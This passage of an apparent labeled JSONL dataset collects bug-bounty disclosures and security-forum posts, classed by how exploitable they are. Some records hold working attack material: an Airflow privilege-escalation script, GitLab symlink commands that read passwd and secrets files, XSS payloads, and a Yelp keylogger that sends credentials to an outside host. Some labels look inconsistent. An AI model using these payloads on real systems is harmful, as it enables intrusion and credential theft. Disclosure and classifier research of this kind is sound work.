struct\n{\n    char *buf;\n    size_t len;\n} put_buffer;\n\nstatic size_t put_callback(char *ptr, size_t size, size_t nmemb, void *stream)\n{\n    put_buffer *putdata = (put_buffer *)stream;\n    size_t totalsize = size * nmemb;\n    size_t tocopy = (putdata->len < totalsize) ? putdata->len : totalsize;\n    memcpy(ptr, putdata->buf, tocopy);\n    putdata->len -= tocopy;\n    putdata->buf += tocopy;\n    return tocopy;\n}\n\nint main()\n{\n    CURL *curl = NULL;\n    put_buffer pbuf = {};\n    char *otherdata = \"This is some other data\";\n\n    curl_global_init(CURL_GLOBAL_DEFAULT);\n\n    curl = curl_easy_init();\n\n    // PUT\n    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\n    curl_easy_setopt(curl, CURLOPT_READFUNCTION, put_callback);\n    pbuf.buf = strdup(\"This is highly secret and sensitive data\");\n    pbuf.len = strlen(pbuf.buf);\n    curl_easy_setopt(curl, CURLOPT_READDATA, &pbuf);\n    curl_easy_setopt(curl, CURLOPT_INFILESIZE, pbuf.len);\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://host1.com/putsecretdata\");\n    curl_easy_perform(curl);\n\n    // Without this line, a PUT instead of a POST will be sent below (this is a bug in libcurl)\n    //curl_easy_setopt(curl, CURLOPT_UPLOAD, 0L);\n\n    // Without this line, the POST below will send \"This is highly secret and sensitive data\"\n    //    when instead the user intended to send \"This is some other data\"\n    // With this line, the program will attempt to use freed data, causing a segfault or any number\n    //    of potential exploits.\n    //free(pbuf.buf);\n\n    // POST (will be a PUT without the line just above)\n    curl_easy_setopt(curl, CURLOPT_POST, 1L);\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, otherdata);\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(otherdata));\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://host2.com/postotherdata\");\n    curl_easy_perform(curl);\n\n    curl_easy_cleanup(curl);\n\n    curl_global_cleanup();\n\n    return 0;\n}\n```\n\n## Supporting Material/References:\nThe bug that leads to these potential security issues is documented at https://github.com/curl/curl/issues/9507\n\n## Impact\n\nAn attacker could potentially inject data, either from stdin or from an unintended buffer. Further, without even an active attacker, this could lead to segfaults or sensitive information being exposed to an unintended recipient.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32221"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5a6192dab70059a1c26b", "text": "[Violation of Secure Design Principles] connect.8x8.com: Too much resource consumption of the server due to incorrect date range control via /api/v1/reports?dateFrom=\n\n## Summary:\nHi Team, When we enter the date range in the reporting endpoint, we see this in the response. When we increase the date range, the byte returned by the server increases. By repeating this over and over, we can cause the server to consume too many resources. As a result, the server may crash.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. First we must be logged in and go to https://connect.8x8.com/messaging/reports\n  2. We can see this request when we look at burp requests \nhttps://connect.8x8.com/api/v1/reports?dateFrom=2023-02-10&dateTo=2023-02-17&tzName=Europe%2FIstanbul&tz=(UTC%2B03%3A00)&tzOffset=180&timeInterval=1440\n  3.  the server will respond late as you increase the date range and the response size will increase a lot {F2178902} {F2178901}\n\n## Remediation\nDate range control can be added.\n\n## Impact\n\nPotential Dos...", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "112cffd34f498ccf3e0e", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS on https://███/████via hidden parameter \"█████████\"\n\nHi everyone :)\n\nI found a Reflected XSS on https://█████/█████████via hidden parameter \"██████████\".\n\n\n## Steps To Reproduce:\n\n- Use your favorite web browser\n- Go to : \n```\nhttps://█████/████████&██████=XXX%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%20here%27)%3C/script%3E\n```\n\nAn XSS is triggered !\n\nThe initial page was https://██████/guest/tls_sso.php\n\nWith a little research, you can find a hidden parameter \"███\" which is directly reflected in the source code **without sanitize user entries**. Then just close the tag and inject our malicious code.\n\n## Supporting Material/References:\nWork on every browser (Firefox, Chrome ..)\n\n## Suggested Mitigation/Remediation Actions\n\n- Never trust user inputs, and therefore sanitize them.\n- If the parameter \"█████\" is useless in this page and in the authentication process, then it should be deleted.\n\n## Impact\n\nThe damages of a reflected XSS flaw are numerous: executing malicious javascript code, phishing, defacing ... We can also inject HTML code and mislead the user when displaying the web page.\n\nFrom [OWASP](https://owasp.org/www-community/attacks/xss/) :\n\n>Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7e664c8315418cbb2dc0", "text": "[Incorrect Permission Assignment for Critical Resource] Airflow Daemon Mode Insecure Umask Privilege Escalation\n\nApache Airflow prior to 2.3.4 had multiple components with an insecure daemon umask of 0, resulting in critical files and directories to be world writable. As such, any local user can infer Airflow to process specially crafted input and ultimately perform a privilege escalation to user executing Airflow. In particular the scheduler component is exploitable.\n\nThis is CWE-277: Insecure Inherited Permissions\n\nThe vulnerability and fix was announced as https://www.openwall.com/lists/oss-security/2022/09/02/3\n\n# Proof of concept\n\nThe following attack works against the demo installation of Apache Airflow (when `airflow scheduler` is run with the `--daemon` flag):\n```\n#!/bin/bash\nTARGET=/home/airflow\numask 0\ncd $TARGET/logs/scheduler/latest/native_dags/example_dags\nrm example_bash_operator.py.log\nln -s $TARGET/dags/poc.py example_bash_operator.py.log\nuntil [ -f $TARGET/dags/poc.py ]\ndo\n  sleep 1\ndone\nrm example_bash_operator.py.log\n(cat <<'EOF'\nimport os\nos.system(\"id >>/tmp/pwned\")\nfrom airflow import DAG\nEOF\n) > $TARGET/dags/poc.py\n```\nThe injected DAG payload (code execution) is triggered when the Airflow scheduler is restarted. This simple PoC performs a full arbitrary code execution, but other means of gaining control via custom DAGs exist as well.\n\n## Impact\n\nPrivilege escalation: loss of confidentiality, integrity and availability", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "af07abe0f5a4f86f3c0a", "text": "Has there been anyone able to solve that very last question and sucessfully finish that module?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "23995a24837a60430815", "text": "[Unknown] IDOR  [mtnmobad.mtnbusiness.com.ng]\n\n## Steps To Reproduce:\n\n  1.  Go to https://mtnmobad.mtnbusiness.com.ng/#/dashboard/home with burp proxy\n  1. Intercept a POST request to /app/dashboardData and review its response you will see emails and ids \n  1. Go to https://mtnmobad.mtnbusiness.com.ng/#/userProfile\n  1. change name, mobile, address etc. and intercept with burp proxy\n  1. change the id and the email with victim's and forward the request\n  1. The changes will be saved in the victim's account\n\n\n# Note:\n\nIf you already know account's email and id you can skip step 1 and 2\n\n## Supporting Material/References:\n\n  {F1922714}\n\n## Impact\n\nAn attacker can change every user's account information", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f69d9ea1de9a44b029b6", "text": "Its a funny answer, but the way I found it was \" Get-Alias | findstr ipconfig \" Answer: ifconfig", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "819d0de3d34c02ae63ac", "text": "What is the latest and working method or script to view real IP of a site behind Cloudflare\n\nPlease who can help me with the working script to view real IP of a site using Cloudflare, all the script I got from GitHub doesn’t work any longer", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "24aba4b225b5db772a6b", "text": "[Path Traversal] Arbitrary file read  via the bulk imports UploadsPipeline\n\n### Summary\n\nThe bulk imports api does not remove symlinks when untaring the uploads.tar.gz file, allowing arbitrary files to be read and uploaded when importing a group.\n\nWhen a group has uploads (such as markdown attachments), an `uploads.tar.gz` file will be downloaded and extracted in the `UploadsPipeline`:\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L15\n```ruby\n       def extract(context)\n          download_service(tmp_dir, context).execute\n          untar_zxf(archive: File.join(tmp_dir, FILENAME), dir: tmp_dir)\n          upload_file_paths = Dir.glob(File.join(tmp_dir, '**', '*'))\n\n          BulkImports::Pipeline::ExtractedData.new(data: upload_file_paths)\n        end\n```\n\nSince `untar_zxf` only changes the permissions, any symlinks that are extracted from the tar will remain and be added to the list of file paths. When `load` is called, the symlinks will be followed and used as the content for the new file:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L23\n```ruby\n        def load(context, file_path)\n          avatar_path = AVATAR_PATTERN.match(file_path)\n\n          return save_avatar(file_path) if avatar_path\n\n          dynamic_path = file_uploader.extract_dynamic_path(file_path)\n\n          return unless dynamic_path\n          return if File.directory?(file_path)\n\n          named_captures = dynamic_path.named_captures.symbolize_keys\n\n          UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute\n        end\n``` \n\nThis can be used to read any file that the git user has read access to such as secrets.yml or other sensitive files.\n\n### Steps to reproduce\n\n1. Create a new group on gitlab.com\n1. Create a new milestone and upload a file `passwd` with any content into the description\n1. Make note of the upload secret (the 32 byte hash in the path)\n1. Run the following commands to make a tar file, using the hash from above\n    ```bash\nmkdir ./d3209c811fee407218bff7cb3b4333e6\nln -s /etc/passwd ./d3209c811fee407218bff7cb3b4333e6/passwd\nln -s /srv/gitlab/config/secrets.yml ./d3209c811fee407218bff7cb3b4333e6/secrets.yml\ntar cvzf uploads.tar.gz ./d3209c811fee407218bff7cb3b4333e6\n    ```\n\n1. Save the following simple proxy server as `api.py` and run it with `FLASK_APP=api flask run`, this will replace the `uploads.tar.gz` with a custom one: {F1565789}\n1. Start [ngrok](https://ngrok.com/) so that it's externally accessible: `ngrok http 5000`\n1. Create a new access token at https://gitlab.com/-/profile/personal_access_tokens\n1. Create a new group, this time choose import group\n1. Enter the https ngrok url and the token you just created\n1. Select the group you initially created and choose a new name\n1. Once the import has complete, view the milestone and click the passwd link\n1. You will see the passwd file from the gitlab server\n1. Copy the link and change `passwd` to `secrets.yml` and you should be able to download the secrets file\n\n\n### Impact\n\nA user with access to import a group on gitlab can read arbitrary files on the gitlab server\n\n### Examples\n\nExample with `passwd` and `secrets.yml` attached:\nhttps://gitlab.com/groups/group_to_import_1/-/milestones/1\nhttps://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/passwd\nhttps://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/secrets.yml\n\n### What is the current *bug* behavior?\nSymlinks are not removed or filtered when the `UploadsPipeline` is run for the bulk imports api\n\n### What is the expected *correct* behavior?\nSymlinks should be removed similar to the project import\n\n### Relevant logs and/or screenshots\n/etc/passwd file:\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2cedfff9ca8358860470", "text": "I was stuck on this too, simply because I wasn’t using sudo in my command. I STRONGLY DISAGREE that sudo should be a requirement for this question. Sudo is not required to read a pcap file in /tmp–even if sudo was used to create the pcap. Change my mind (this is a general comment, not a specific reply to @laurenchen0631 )", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "432e626269279d797d63", "text": "[Authentication Bypass Using an Alternate Path or Channel] Authentication bypass in ████████\n\n## Summary:\nIn a nutshell, an authentication bypass exploits weak authentication mechanisms to allow a hacker to access your systems and data.In a nutshell, an authentication bypass exploits weak authentication mechanisms to allow a hacker to access your systems and data\n\n## Steps To Reproduce:\n\n  1.I was going to the site: █████ and on the home page I clicked on personal and the site redirected me to another site which is: ██████████ and on this site on which I was redirected I saw \"link your NIN\" and I went to this site and after listing I found an impressive thing which is the Tiny filemanager and to authenticate myself I bypass it with default credentials to access it.\nThe default credentials are: Login Details: ████/████ | user/12345\nand I had access to the panel and I had privileges like modify, upload, delete\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nThe impact of authentication vulnerabilities can be very severe. Once an attacker has either bypassed authentication or has brute-forced their way into another user's account, they have access to all the data and functionality that the compromised account has.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "09b8827df74919f3a9d1", "text": "[Improper Access Control - Generic] Text does not respect 'Allow download' permissions\n\n1. user0 shares a folder of sensitive images to user1 without the 'Allow download' permission\n2. user1 just creates a new text file and inserts the images into it\n3. Voilla the images appear and can be downloaded easily\n\nThese are just previews but still.\nFor the most common types you can even request the raw image https://github.com/nextcloud/text/blob/main/lib/Controller/AttachmentController.php#L57-L67\n\n## Impact\n\nA user assume that the allow download feature works can still have their sensitive photos leaked.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f4bb903e010ebb946cc8", "text": "[Cross-site Scripting (XSS) - Reflected] Self XSS in https://linkpop.com/dashboard/admin\n\n## Summary:\n\nHello Shopify team,\nFound a self XSS  https://linkpop.com/dashboard/admin, the steps to reproduce are below\n\n## Steps To Reproduce:\n1- Visit https://linkpop.com/dashboard/admin\n2- Click on links => add links\n3- add in the url  input `javascript:alert(document.cookie)`\n{F1757141}\n4- Click on the link that appeared on the phone image and the alert will appear\n{F1757140}\n{F1757142}\n\nIn your policy page you say that you guys accept self xss as long as its two steps, here its only paste payload in input and click on image so hopefully in scope :)\n\n## Impact\n\nSelf XSS.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b7b91683c19a923588c6", "text": "[Insecure Direct Object Reference (IDOR)] Reddit talk promotion offers don't expire, allowing users to accept them after being demoted\n\n## Description: \n\nWhen promoting a user to a speaker/host, an offerId is created which can be accepted by the user. However, after accepting them the offerIds don't expire. This means that after the user is demoted back to a listener, they can still use the offerIds to go back to their previous promoted role.\n\n## Steps To Reproduce:\n\n1. Have 2 accounts ready UserAVictim and UserBAttacker.\n2. Create a new reddit talk as UserAVictim.\n3. As UserB join the talk.\n4. As UserA promote UserB to the speaker (works as well with host). This can be done by clicking their avatar and choosing invite to speak (to promote to speaker) or add as host (to promote to host).\n5. As UserB notice that a pop up appears saying \"USER has invited you to speak\". Monitor and save the request used when clicking accept.\nThe request should be to https://gql.reddit.com \nThe body should be similar to \n{\"variables\":{\"platformUserId\":\"PLATFORM_USER_ID\",\"offerId\":\"UUID_OFFER_ID\"},\"id\":\"475c91dd4480\"}\n6. As UserA demote UserB to listener. (Click UserB's avatar and click Move to Audience)\n7. As UserB repeat/re-send the request used in step 5. Notice that you will be promoted back to speaker/host.\nThis works even after you are demoted again.\n\n## Impact\n\nThis allows speakers/hosts of a talk to re-become a speaker/host at any time after being demoted. This could lead to interruptions to the reddit talk.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7ed556ae2db77ccedc35", "text": "[Open Redirect] Open redirect due to scanning QR code via brave browser\n\n> NOTE! Thanks for submitting a report! Please fill all sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to verify and then potentially issue a bounty.\n\n## Summary:\nThis vulnerability was discovered in Brave's QR code scanner, which allows users to read QR codes and open corresponding links. Exploitation of this vulnerability allows attackers to direct users to malicious sites without their consent or knowledge. This vulnerability can put the security of Brave users at risk and allow them to be exposed to phishing, phishing and malware attacks. In this report, we'll describe the vulnerability in more detail, assess its severity, and provide recommendations to address it.\n\n\n\n## Products affected: \n\nBrave 1.50.114, Chromium 112.0.5615.49 on Android 11; Build/RP1A.200720.011\n\n## Steps To Reproduce:\n\n{F2291837}\n\nThe QR code above is the one I generated to replicate the attack.\nTo create my QR code, I used the site https://app.qr-code-generator.com.\n I included a malicious link in this QR code. As an example link, I used www.evil.com\n\n#  Steps To Reproduce\n\n -  Open the browser \n- Then in your browser you can click on the \"scan a QR code\" option and scan the QR code in which I have included my malicious link. \nThis will automatically redirect you to the malicious site I inserted in the QR code, without even asking your opinion.\n- However, some QR code scanners do not automatically redirect the user to the malicious site, but rather display the link with the \"Go to site\" option. Other scanners don't even show this option. \n- However, in the case of Brave, the browser automatically redirects the user to the malicious site without their consent, which poses a significant security risk to users.\n\n\n## Supporting Material/References:\n\nhttps://resources.infosecinstitute.com/topic/security-attacks-via-malicious-qr-codes/\nhttps://shahjerry33.medium.com/open-redirection-qr-code-magic-18ace1a0170f\n\n## Impact\n\nHere are some potential business impacts that this security vulnerability could have in Brave 1.50.114, Chromium 112.0.5615.49 on Android 11; Build/RP1A.200720.011:\n\nThe fact that Brave's QR code scanner opens the link without the user's notice has a big impact on user security. This vulnerability allows an attacker to redirect a Brave user to a malicious site without the user being able to see the link and make an informed decision. This can lead to exposure to malware or phishing attacks that can compromise user data.\n\nThe actual impact depends on the nature of the malicious link to which the user is redirected. In the worst case, the link may be designed to steal sensitive information, such as credit card information, credentials, or other personal information. This can lead to loss of privacy and financial damage to the user.\n\nMoreover, if the user is redirected to a malicious site that contains malware, then it can compromise the security of the user's device and lead to loss of important data. Overall, the fact that Brave's QR code scanner automatically opens malicious links without user's notice poses a significant risk to user security and should be fixed as soon as possible.\n\n    Increased Risk of Phishing: Exploiting this vulnerability could allow attackers to direct Brave users to malicious sites that can be used to steal sensitive information such as usernames, passwords, banking and other personal information.\n\n    Exposure to malware: Malicious sites that users are redirected to may also contain malware that can infect Brave users' devices with malicious programs such as viruses, Trojans or ransomware.\n\n    Privacy loss: Brave users may also be at risk of privacy loss if sensitive information is stolen as a result of the exploitation of this vulnerability.\n\n    Loss of user trust: If Brave users fall victim to attacks as a result of exploiting this vulnerability, they may lose trust in the application and seek out more secure alternatives, which could impact reputation of the application an", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c61930e6740800d3f08c", "text": "[Cross-site Scripting (XSS) - Generic] yelp.com XSS ATO (via login keylogger, link Google account)\n\n# Summary:\nyelp.com reflects the content of the cookie `guvo` in the html returned to the user. In some cases this value is not properly escaped, leading to XSS. This can be combined with another issue where the backend does not properly parse the user supplied cookies and allows us to smuggle a `guvo` cookie inside a cookie named `yelpmainpaastacanary`. The `yelpmainpaastacanary` cookie can be set by including a URL query parameter `?canary=[Cookie value]`  in any request to `*.yelp.com`.\n\nThis report shows how chaining this cookie XSS with a cookie parsing issue leads to persistent XSS in a victims browser. To demonstrate impact I'll show how this can be used to inject a keylogger on `https://biz.yelp.com/login` to steal email/password of a business account, as well as how it's possible to link an attackers Google account to a victims Yelp account, and gain access to the victims account via \"Sign in with Google\".\n\n# Description\n## XSS via \"guvo\" cookie\nThe value of the cookie `guvo` is reflected (unescaped) on some pages. Most interestingly on the frontpage of `www.yelp.com` and on the login page of `https://biz.yelp.com/login`. The unescaped reflection happens in the `window.ySitRepParams` object and the `window.yelp.guv` property. This can be seen by simply adding the cookie to the request in a browser or Burp, and observe the response:\n██████████\n█████████\n\n## Setting the \"yelpmainpaastacanary\" cookie\nThere is a feature on `yelp.com` where by adding the query parameter `?canary=asdf` to a request, the response will contain an HTTP header:\n```\nSet-Cookie: yelpmainpaastacanary=asdf; Domain=.yelp.com; Path=/; Secure; SameSite=Lax\n```\nThis gives us a way to set the cookie `yelpmainpaastacanary` to any value we want. But we need a way to control the `guvo` cookie. It turns out that we can smuggle the `guvo` cookie inside the `yelpmainpaastacanary` cookie.\n\n## Broken cookie parsing and cookie smuggeling\nThe Yelp backend will parse the users cookies by splitting them by spaces instead of semicolons. Normally cookies sent by the browser will be separated by semicolons like\n```\nCookie: a=1; b=2;\n```\nwhich should be parsed as 2 cookies `a` and `b`. But if we set a cookie like:\n```\nCookie: a=1 b=2;\n```\nThis should be parsed as 1 cookie `a` with the value \"`1 b=2`\", but Yelp will parse it as 2 cookies `a` and `b`. We can abuse this to smuggle the `guvo` cookie inside the `yelpmainpaastacanary` cookie by making a request to \n```\nhttps://www.yelp.com/?canary=asdf%20guvo%3D%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E\n```\n████\n\nwhich sets the cookie\n```\nSet-Cookie: yelpmainpaastacanary=asdf guvo=</script><script>alert(1)</script>; Domain=.yelp.com; Path=/; Secure; \n```\nand results in our XSS payload triggering every time we visit the front page of `www.yelp.com`:\n{F2394020}\n\nAs an added bonus we can also inject a `Max-Age: 99999999` attribute so our cookie doesn't expire and will just live in the victims browser and wait for our XSS injection to happen:\n```\nhttps://www.yelp.com/?canary=asdf%20guvo%3D%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3B%20Max%2DAge%3D99999999\n```\n```\nSet-Cookie: yelpmainpaastacanary=asdf guvo=</script><script>alert(1)</script>; Max-Age=99999999; Domain=.yelp.com; Path=/; Secure; SameSite=Lax\n```\n\n# POCs\n_Please note: Since I'm in Denmark yelp.com will redirect to yelp.dk. The attacks work exactly the same on both domains._\n\n## Keylogger on biz.yelp.com/login\nThis javascript snippet will leak the content of the email and password fields on `https://biz.yelp.com/login` when the user types, or when the login form is submitted. The credentials are leaked to the domain `calc.sh` which I own:\n```javascript\nsetTimeout(function () {\n  a = document.getElementsByName('password')[0];\n  b = document.getElementsByName('email')[0];\n  function f() {\n    fetch(`https://calc.sh/?a=${encodeURIComponent(a.value)}&b=${encodeURIComponent(b.value)}`);\n  }\n  a.form.onclick=f;\n  a.onchange=f;\n  b.onchange=f;\n  ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "70a9ae1bd31cc164b74b", "text": "[Improper Access Control - Generic] Sensitive files/ data exists  post deletion of user account\n\nIn the latest android app ,I created an account in the name of geekysherlock1@gmail.com. \nAfter few activities,deleted  the account . \nFiles containing user emails and tokens still exist.Relevant files not deleted upon deletion of account.\n\nContent of files post deletion of account:\ngeneric_x86:/data/data/com.nextcloud.client/shared_prefs # ls\nFirebaseAppHeartBeat.xml WebViewChromiumPrefs.xml com.google.android.gms.appid.xml com.nextcloud.client_preferences.xml migrations.xml variant-emoji-manager.xml\n\ngeneric_x86:/data/data/com.nextcloud.client/shared_prefs # cat com.nextcloud.client_preferences.xml\n<?xml version='1.0' encoding='utf-8' standalone='yes' ?>\n<map>\n    <boolean name=\"keysMigration\" value=\"true\" />\n    <string name=\"select_oc_account\">geekysherlock1@gmail.com@us.cloudamo.com</string>\n    <boolean name=\"autoUploadPathUpdate\" value=\"true\" />\n    <boolean name=\"autoUploadInit\" value=\"true\" />\n    <int name=\"prefs_uploader_behaviour\" value=\"1\" />\n    <boolean name=\"storagePathFix\" value=\"true\" />\n    <boolean name=\"autoUploadEntriesSplitOut\" value=\"true\" />\n    <boolean name=\"keysReinit\" value=\"true\" />\n    <string name=\"pushToken\">euwTiu9CT3CvQNHqNVZPIk:APA91bHqkGjFhx-BiCEH_NcRnaEvrp21tbxvjOKhHrQ1mUTCW3Dp46X90YinSDcjfVXytTcT9CLQBcrOv5J_EfSGM7GbZrZAyeKC1xOtgNBLkFeo4_EqX7LqVW-ezuG_rou1y2Ux8ah5</string>\n    <float name=\"grid_columns\" value=\"3.0\" />\n    <string name=\"storage_path\">/storage/emulated/0/Android/media/com.nextcloud.client</string>\n    <boolean name=\"legacyClean\" value=\"true\" />\n    <string name=\"upload_from_local_last_path\">/storage/emulated/0/Pictures</string>\n    <int name=\"lastSeenVersionCode\" value=\"30160190\" />\n</map>\n\nImages folder\ngeneric_x86:/data/data/com.nextcloud.client/shared_prefs # cd /storage/emulated/0/Pictures\ngeneric_x86:/storage/emulated/0/Pictures # ls\n2131099731.jpg 2131099732.jpg 2131099733.jpg\n\n## Impact\n\nThis information could be misused as  sensitive token related ,images,user related  details exist inspite of user account being deleted.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c3a01f27a4bae876d9c", "text": "[Improper Access Control - Generic] Talk Android broadcast receiver is not protected by broadcastPermission allowing malicious apps to communicate\n\n## Summary:\nCall to registerReceiver misses the broadcastPermission argument - no permissions will be checked for the broadcaster, which allows a malicious application to communicate with the broadcast receiver.\n\n## Supporting Material/References:\n\n  * Screenshot Snyk report\n * references to fixes in other repos\n\nhttps://github.com/alvinhkh/buseta/commit/6b791de8e3622ef157b065f9c82fcfd5a0e2302a?diff=split#diff-a75527f97c6732197964c1dbf30fd385L66\n\nhttps://github.com/serso/android-messengerpp/commit/1528fdc2d3561bab192dfde9a84a737a26a19fce?diff=split#diff-7ff52f2abe79bd0a68d54916fe71aef2L92\n\nhttps://github.com/irccloud/android/commit/857287d6d9da443b0ff667505d5bf4a383922784?diff=split#diff-f06bf5e27b9130d322139330f7f31997L40\n\n## Impact\n\nUnsure, potentially interfere with call starts and audio/bluetooth setup", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aeae996457152f5f9bbd", "text": "[Business Logic Errors] CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 bypass if string not 32 chars\n\n## Summary:\nDue to logic flaw in  `CURLOPT_SSH_HOST_PUBLIC_KEY_MD5` handling, the host fingerprint validation will be bypassed if the passed a string that is not exactly 32 characters long.\n\n## Steps To Reproduce:\n  1. `curl_easy_setopt(curl, CURLOPT_SSH_HOST_PUBLIC_KEY_MD5,   \"afe17cd62a0f3b61f1ab9cb22ba269a\"); // 31 chars`\n  2. perform` sftp://` or `scp://` actions \n\nNote: `curl` command is not affected since it explicitly checks that the `--hostpubmd5` string is 32 characters long, and if it is not `PARAM_BAD_USE` is returned.\n\nThe bug is at https://github.com/curl/curl/blob/f7f26077bc563375becdb2adbcd49eb9f28590f9/lib/vssh/libssh2.c#L733\n\nIf the string length is other than 32 it should result in signature check failure instead of success. Obvious fix would be to remove the `if(pubkey_md5 && strlen(pubkey_md5) == 32)`test  completely.\n\n## Impact\n\nSSH host identify bypass.\n\nFor this issue to be realised, a wrong size fingerprint needs to be passed (either by accident or by malice). It is likely that this is far more likely to happen by accident, since if some actor can tamper with the fingerprints they can bypass the validation anyway. Note that `curl_easy_setopt` `CURLOPT_SSH_HOST_PUBLIC_KEY_MD5` does not return an error indicating that something is wrong, hence this is breaking the principle of least surprise.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
